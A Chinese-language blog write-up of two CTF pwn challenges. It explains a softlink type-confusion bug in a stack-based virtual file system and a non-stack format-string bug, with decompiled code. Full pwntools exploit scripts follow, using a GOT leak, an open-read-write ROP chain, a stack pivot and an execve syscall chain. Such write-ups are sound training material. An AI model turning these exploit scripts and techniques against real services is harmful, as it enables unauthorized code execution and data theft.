前言

这场比赛真是打爽了,4道题做出了3道,且每道都让neise1有所思考,没有一眼秒的情况,总之,这场比赛让本人收获颇丰,所以想着一定要好好地整理,于是就有了这篇博客。我会尽量把学到的东西写的细一点,希望读到我文章的人也能有所收获。

VFS_stack

题目说,这是一个基于栈的文件管理系统,什么都先别说,checksec一下。

图片
可以看到几乎没什么保护。

再丢进ida里看下。

图片

seccomp

这里发现有seccomp,看一下是禁用了什么。

图片
发现是白名单,只让用这几个函数的系统调用,所以我们只能打orw了。

初始化

图片
这里是在栈上开辟了0xDE8大小的缓冲区,用来放置文件,根据函数名,我们也大致能猜到各个函数的功能,我们这里先从初始化函数开始看。

图片
发现这里会初始化创建两个文件,“user_readme”和“/dev/stack_core”,这里管理文件选择了文件结构体和内容分开储存的形式。

文件结构体的前16字节用来放文件名,后面跟着的四个4字节数字依次代表该处是否被占用(0=空闲,1=占用),文件读取权限(0=普通用户可访问,1=拒绝访问),文件类型(0=regular, 1=hardlink, 2=softlink)和文件大小,最后放着指向文件内容的指针。

菜单

图片
这个函数给了指令规范,没什么好说的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
void __fastcall menu_loop(unsigned int a1, __int64 a2, __int64 a3, __int64 a4)
{
  size_t v6; // [rsp+20h] [rbp-140h] BYREF
  __int64 v7; // [rsp+28h] [rbp-138h] BYREF
  char *s1[2]; // [rsp+30h] [rbp-130h] BYREF
  __int128 v9; // [rsp+40h] [rbp-120h]
  _QWORD v10[33]; // [rsp+50h] [rbp-110h] BYREF
  int line; // [rsp+158h] [rbp-8h]
  int v12; // [rsp+15Ch] [rbp-4h]

  memset(v10, 0, 256);
  *(_OWORD *)s1 = 0;
  v9 = 0;
  v7 = 128;
  while ( 1 )
  {
    v12 = 0;
    line = 0;
    v6 = 0;
    send_text(a1, "vfs> ");
    line = read_line(a1, (__int64)v10, 0x100u);
    if ( line <= 0 )
      break;
    v12 = split_line((char *)v10, (__int64)s1, 4);
    if ( v12 )
    {
      if ( !strcmp(s1[0], "HELP") )
      {
        show_help(a1);
      }
      else if ( !strcmp(s1[0], "LIST") )
      {
        cmd_list(a1, a2);
      }
      else
      {
        if ( !strcmp(s1[0], "QUIT") )
        {
          send_text(a1, "bye\n");
          return;
        }
        if ( !strcmp(s1[0], "TOUCH") )
        {
          if ( v12 == 2 )
            cmd_touch(a1, a2, a3, &v7, (__int64)s1[1]);
          else
            send_text(a1, "ERR usage: TOUCH <name>\n");
        }
        else if ( !strcmp(s1[0], "HARDLINK") )
        {
          if ( v12 == 3 )
            cmd_hardlink(a1, a2, a3, &v7, s1[1], (const char *)v9);
          else
            send_text(a1, "ERR usage: HARDLINK <src> <dst>\n");
        }
        else if ( !strcmp(s1[0], "SOFTLINK") )
        {
          if ( v12 == 3 )
            cmd_softlink(a1, a2, s1[1], (const char *)v9);
          else
            send_text(a1, "ERR usage: SOFTLINK <src> <dst>\n");
        }
        else if ( !strcmp(s1[0], "READ") )
        {
          if ( v12 == 3 && !(unsigned int)parse_len((const char *)v9, &v6) )
            cmd_read(a1, a2, s1[1], v6);
          else
            send_text(a1, "ERR usage: READ <name> <len>\n");
        }
        else if ( !strcmp(s1[0], "WRITE") )
        {
          if ( v12 == 3 && !(unsigned int)parse_len((const char *)v9, &v6) )
            cmd_write(a1, a2, a4, s1[1], v6);
          else
            send_text(a1, "ERR usage: WRITE <name> <len>\n");
        }
        else
        {
          send_text(a1, "ERR unknown command\n");
        }
      }
    }
  }
}

这个函数中就是实现菜单中各个功能的函数了,额,一个一个讲比较费劲,这里neise1就偷点儿懒只讲讲用的到的函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
void __fastcall cmd_hardlink(unsigned int a1, __int64 a2, __int64 a3, _QWORD *a4, const char *a5, const char *a6)
{
  size_t n; // [rsp+30h] [rbp-20h]
  void **s; // [rsp+38h] [rbp-18h]
  __int64 v11; // [rsp+40h] [rbp-10h]
  int free_inode; // [rsp+48h] [rbp-8h]
  int inode; // [rsp+4Ch] [rbp-4h]

  inode = find_inode(a2, a5);
  if ( inode >= 0 )
  {
    if ( (int)find_inode(a2, a6) < 0 )
    {
      free_inode = find_free_inode(a2);
      if ( free_inode >= 0 )
      {
        v11 = 40LL * inode + a2;
        s = (void **)(40LL * free_inode + a2);
        if ( *(_DWORD *)(v11 + 24) )
        {
          send_text(a1, "ERR hardlink source type not allowed\n");
        }
        else if ( *(int *)(v11 + 28) >= 0 && *(_QWORD *)(v11 + 32) )
        {
          n = *(int *)(v11 + 28);
          if ( *a4 + n <= 0x800 )
          {
            memset(s, 0, 0x28u);
            copy_name(s, a6);
            *((_DWORD *)s + 4) = 1;
            *((_DWORD *)s + 5) = *(_DWORD *)(v11 + 20);
            *((_DWORD *)s + 6) = 1;
            *((_DWORD *)s + 7) = *(_DWORD *)(v11 + 28);
            s[4] = (void *)(a3 + *a4);
            memcpy(s[4], *(const void **)(v11 + 32), n);
            *a4 += n;
            send_text(a1, "OK\n");
          }
          else
          {
            send_text(a1, "ERR disk full\n");
          }
        }
        else
        {
          send_text(a1, "ERR invalid source\n");
        }
      }
      else
      {
        send_text(a1, "ERR inode full\n");
      }
    }
    else
    {
      send_text(a1, "ERR file exists\n");
    }
  }
  else
  {
    send_text(a1, "ERR no such source\n");
  }
}

啊啊,这个代码我也是看的头疼,但大致行为是,新建一个hardlink类型文件,然后把目标文件的除却文件类型的其他一切都直接复印一份。

softlink(主要漏洞)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
void __fastcall cmd_softlink(unsigned int a1, __int64 a2, const char *a3, const char *a4)
{
  __int64 v5; // [rsp+20h] [rbp-20h]
  void *s; // [rsp+28h] [rbp-18h]
  __int64 v7; // [rsp+30h] [rbp-10h]
  int free_inode; // [rsp+38h] [rbp-8h]
  int inode; // [rsp+3Ch] [rbp-4h]

  inode = find_inode(a2, a3);
  if ( inode >= 0 )
  {
    if ( (int)find_inode(a2, a4) < 0 )
    {
      free_inode = find_free_inode(a2);
      if ( free_inode >= 0 )
      {
        v7 = 40LL * inode + a2;
        if ( *(_DWORD *)(v7 + 24) == 2 )
        {
          send_text(a1, "ERR softlink source type not allowed\n");
        }
        else if ( *(int *)(v7 + 28) > 23 && *(_QWORD *)(v7 + 32) )
        {
          v5 = *(_QWORD *)(v7 + 32);
          if ( !memcmp((const void *)(v5 + 16), "LNKPTR", 6u) )
          {
            s = (void *)(40LL * free_inode + a2);
            memset(s, 0, 0x28u);
            copy_name(s, a4);
            *((_DWORD *)s + 4) = 1;
            *((_DWORD *)s + 6) = 2;
            *((_DWORD *)s + 7) = *(_DWORD *)(v5 + 8);
            *((_QWORD *)s + 4) = *(_QWORD *)v5;
            if ( *(_DWORD *)(v7 + 24) != 1 )
              *((_DWORD *)s + 5) = *(_DWORD *)(v5 + 12);
            send_text(a1, "OK\n");
          }
          else
          {
            send_text(a1, "ERR source is not a softlink blob\n");
          }
        }
        else
        {
          send_text(a1, "ERR source is not linkable\n");
        }
      }
      else
      {
        send_text(a1, "ERR inode full\n");
      }
    }
    else
    {
      send_text(a1, "ERR file exists\n");
    }
  }
  else
  {
    send_text(a1, "ERR no such source\n");
  }
}

这个函数逻辑很复杂了,当时做的时候给neise1分析的头都大了😭
依旧简单说一下函数行为,(这个函数貌似是专门做给“/dev/stack_core”用的)首先,函数会判断用户创建softlink的对象的文件类型,如果也是软连接就不行,随后会检查目标文件的内容大小和内容指针是否存在,大小必须大于23(因为它会把目标文件的内容视为一个24字节的结构体来解析),然后找文件内容中从0x10开始前六字节是不是 “LNKPTR”如果是,那接下来就会开始softlink的构建,这里要注意的是,它放在末尾的,并不是指向目标文件内容的指针,而是目标文件内容开头的那个地址。

最后,也是最关键的,它会再检测目标文件类型,如果不是hardlink,才会设置文件的权限位,也就是说,如果是hardlink的话,它就不会设置权限位,而由于开头有用memset清零,所以权限位就是0。嗯嗯,所以我们就有了个泄露栈地址的方法,就是给“/dev/stack_core”创建个hardlink,再给hardlink创建个softlink,就能读取“/dev/stack_core”文件内容中的站地址了,额,大概可以用来在栈上写“flag”字符串当open的参数吧。

read和write

这是read。

图片
这是write。

图片
没什么好说的,这两个函数都只检查,文件是否存在,文件权限,以及文件大小(不大于0x400),完全不会管文件类型,只要以上说的都ok,它会直接去文件结构体的+32偏移处找指针,然后根据这个指针读或写。

但是,softlink类型的文件,这个地方放置的指针是我们可控的,也就是对应文件内容的开头。而我们只需要按照softlink的要求伪造对应的文件内容(其实也就是仿照“/dev/stack_core”的文件内容,然后把开头的地址改成目标地址),就能轻易的达成任意地址读写。

touch

图片
没什么好说的,就是新建一个文件(连代码都少的可怜)

利用思路

这个题挺灵活的,毕竟都有无条件任意读写了嘛,所以相信利用方法五花八门,neise1这里说说自己的。

泄露栈地址后,neise1又泄露了got表,得到libc地址之后就构造orw的ROP链,写到函数返回地址上。

嗯,非常简单粗暴。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
host="114.66.24.221"
port=41349

#p = process('./pwn',stdin=PTY)
p=remote(host,port)
libc=ELF('./libc.so.6')

p.sendafter(b'vfs>',b'HARDLINK /dev/stack_core hard\n')
p.sendafter(b'vfs>',b'SOFTLINK hard soft\n')
p.sendafter(b'vfs>',b'READ soft 48\n')
p.recvuntil(b'DATA 48\n')
a=p.recv(0x28)[-8:].ljust(8,b'\x00')
stack_addr=u64(a)-0x18
print(hex(stack_addr))

p.sendafter(b'vfs>',b'TOUCH blob\n')
p.sendafter(b'vfs>',b'WRITE blob 32\n')
payload=p64(0x405010)+p32(0x400)+p32(0)+b'LNKPTR\x00\x00'+b'./flag'
payload=payload.ljust(32,b'\x00')
p.send(payload)
p.sendafter(b'vfs>',b'SOFTLINK blob got\n')
p.sendafter(b'vfs>',b'READ got 8\n')
p.recvuntil(b'DATA 8\n')
write_addr=u64(p.recv(6).ljust(8,b'\x00'))
libc_base=write_addr-libc.symbols['write']
print(hex(libc_base))
open_addr=libc_base+libc.symbols['open']
read_addr=libc_base+libc.symbols['read']
flag_addr=stack_addr+0xc8
pop_rdi=0x10f78b+libc_base
pop_rsi=0x110a7d+libc_base

pop_rbx=0x586e4+libc_base
_rdx=0xb0153+libc_base


ROP=p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi)+p64(0)+p64(open_addr)+p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(stack_addr+0xd0)+p64(pop_rbx)+p64(40)+p64(_rdx)+p64(0)+p64(0)+p64(0)+p64(read_addr)
ROP+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(stack_addr+0xd0)+p64(pop_rbx)+p64(40)+p64(_rdx)+p64(0)+p64(0)+p64(0)+p64(write_addr)
a=len(ROP)
ret_addr=stack_addr-0x18
p.sendafter(b'vfs>',b'TOUCH blop\n')
p.sendafter(b'vfs>',b'WRITE blop 32\n')
payload=p64(ret_addr)+p32(0x400)+p32(0)+b'LNKPTR'
payload=payload.ljust(32,b'\x00')
p.send(payload)
p.sendafter(b'vfs>',b'SOFTLINK blop ROP\n')
p.sendafter(b'vfs>',f'WRITE ROP {a}\n'.encode())
p.send(ROP)
#gdb.attach(p)
p.sendafter(b'vfs>',b'QUIT\n')

p.interactive()

checkin

这个题的程序行为逻辑非常简单,做起来也不难,就是有点麻烦。

分析

先checksec一下

图片
依旧只开了NX,丢ida看一下程序萝莉。

图片
嗯,萝莉非常清晰,漏洞也很清晰,就是个非栈上格式化字符串,这种题目思路就很清晰。

利用思路

其实思路很简单,就是在栈上找连续的指针。

图片
像这样,我们可以通过%n去更改第一个指针指向的指针,把它改为目标指针,再在栈上找到被你更改后的指针,这样你就可以任意写了。

不过我们首先要解决的问题是,程序正常只能进行一次格式化字符串操作,光一次肯定是不够的,所以我们这里要在这一次内,把_exit函数的got表改为main函数,这样我们就可以无限次进行格式化字符串操作了来达成任意读写,那么首先,我们肯定要先读got表来获取libc地址。

接下来就要考虑怎么劫持程序运行system了。

neise1仔细思考了一下,有这么几种利用思路,第一,直接慢悠悠地多用几次格式化字符串往最开始的main函数的返回地址布置system的调用链,最后把_exit的got表覆盖为随便一个ret指令,这样在经过一系列返回后就能获得shell了(这个想法neise1没实际去试,只是有这么个想法,neise1这里用的是另一个方法。)

第二,因为格式化操作是在printf函数内进行的嘛,肯定是进行完格式化后才返回,所以我们完全可以用几个连续指针一次性把printf的rbp和返回地址覆盖,进行栈迁移,把栈迁移到我们的buf所在的.bss段,但是这里要注意的是,这样就没法直接调用system函数了,因为system运行要求比较大的栈空间,neise1调试的时候发现,system函数行为中,有一步操作会rsp-0x300(也好像是+),但是.bss段不够大,所以不行,于是,neise1只好选择了利用系统调用,这才拿到shell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
host="114.66.24.221"
port=40169

#p = process('./pwn',stdin=PTY)
p=remote(host,port)
libc=ELF('./libc.so.6')

a=0x4000
b=0x111bb
payload=f'%{a-6}c'.encode()+b'%c'*6+b'%hn'+f'%{b-a-6}c'.encode()+b'%c'*6+b'%hn'

p.sendafter(b'Please checkin first',payload)

p.sendafter(b'Please checkin first',b'+%7$p+%28$p\x00')
p.recvuntil(b'+')
c=p.recv(14)
stack_addr=int(c,0)
p.recvuntil(b'+')
c=p.recv(14)
libc_base=int(c,0)-libc.symbols['__libc_start_main']-139

print(hex(libc_base))

pop_rdi=0x10f78b+libc_base
binsh=0x1cb42f+libc_base
pop_rax=0xdd237+libc_base
pop_rsi=0x110a7d+libc_base

syscall_addr=0xEE21B+libc_base

target_addr=(stack_addr-0xc8) & 0xffff
p.sendafter(b'Please checkin first',f'%{target_addr}c%8$hn%4c%32$hn%4c%11$hn\x00'.encode())

#gdb.attach(p)
pay=f'%48$n%{0x40119d}c%46$n%{0x4040a0-0x40119d}c%29$n\x00'.encode()

pay=pay.ljust(0x20,b'\x00')
pay+=p64(0)+p64(pop_rax)+p64(59)+p64(pop_rdi)+p64(binsh)+p64(pop_rsi)+p64(0)+p64(syscall_addr)
p.sendafter(b'Please checkin first',pay)


p.interactive()

这里要注意的是,第一次格式化字符串的时候,由于要同时对一个指针修改加利用,那么利用的那个地方,就不能用数字加$来操作,因为用这种方式会让printf格式化时,printf会在调用时,一次性计入所有参数,就没办法利用修改后的指针了,所以要用%c占位来写入。